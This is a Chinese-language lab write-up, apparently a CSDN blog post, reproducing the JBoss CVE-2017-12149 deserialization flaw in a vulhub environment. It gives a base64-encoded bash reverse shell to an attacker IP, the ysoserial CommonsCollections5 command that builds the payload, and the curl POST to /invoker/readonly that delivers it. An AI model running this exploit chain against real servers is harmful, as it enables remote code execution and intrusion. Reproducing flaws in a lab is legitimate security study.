vulhub-jboss-CVE-2017-12149漏洞复现

漏洞产生原理

该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。

什么是jboss

Jboss是一个基于J2EE的开放源代码的应用服务器。 JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3的规范。 Jboss属于redhat公司,而且jboss是开源的,免费的,且在J2EE应用服务器领域,JBoss是发展最为迅速的应用服务器,所以曾经广为流行。
 

该漏洞出现在/invoker/readonly请求中,服务器将用户提交的POST内容进行了Java反序列化:(该图像来源于vulhub官方wp中)

启动环境之后,直接在浏览器中进行访问

显示该页面说明环境是搭建成功的。接下来访问他的invoker/readonly目录,

访问正常。然后通过反弹shell的对该漏洞进行利用。

我们使用bash来反弹shell,但由于Runtime.getRuntime().exec()中不能使用管道符等bash需要的方法,所以需要对弹shell命令bash -i >& /dev/tcp/192.168.217.139/4444 0>&1进行base64编码。接着我们使用 ysoserial 工具来复现生成序列化数据,并重定向到exp.ser文件

java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxNy4xMzkvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" >exp.ser

执行完该指令会生成一个exp.ser文件,接着我们可以使用curl命令,将我们的序列化数据以POST的形式发送。

 curl http://192.168.217.134:8080/invoker/readonly --data-binary @exp.ser

在传文件之前,我们需在攻击机开启端口监听来接收反弹的shell

开启监听之后,开始向服务器发送请求文件。

 请求完毕,此时看到我们监听的端口,也成功反弹shell

 

  • 0
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值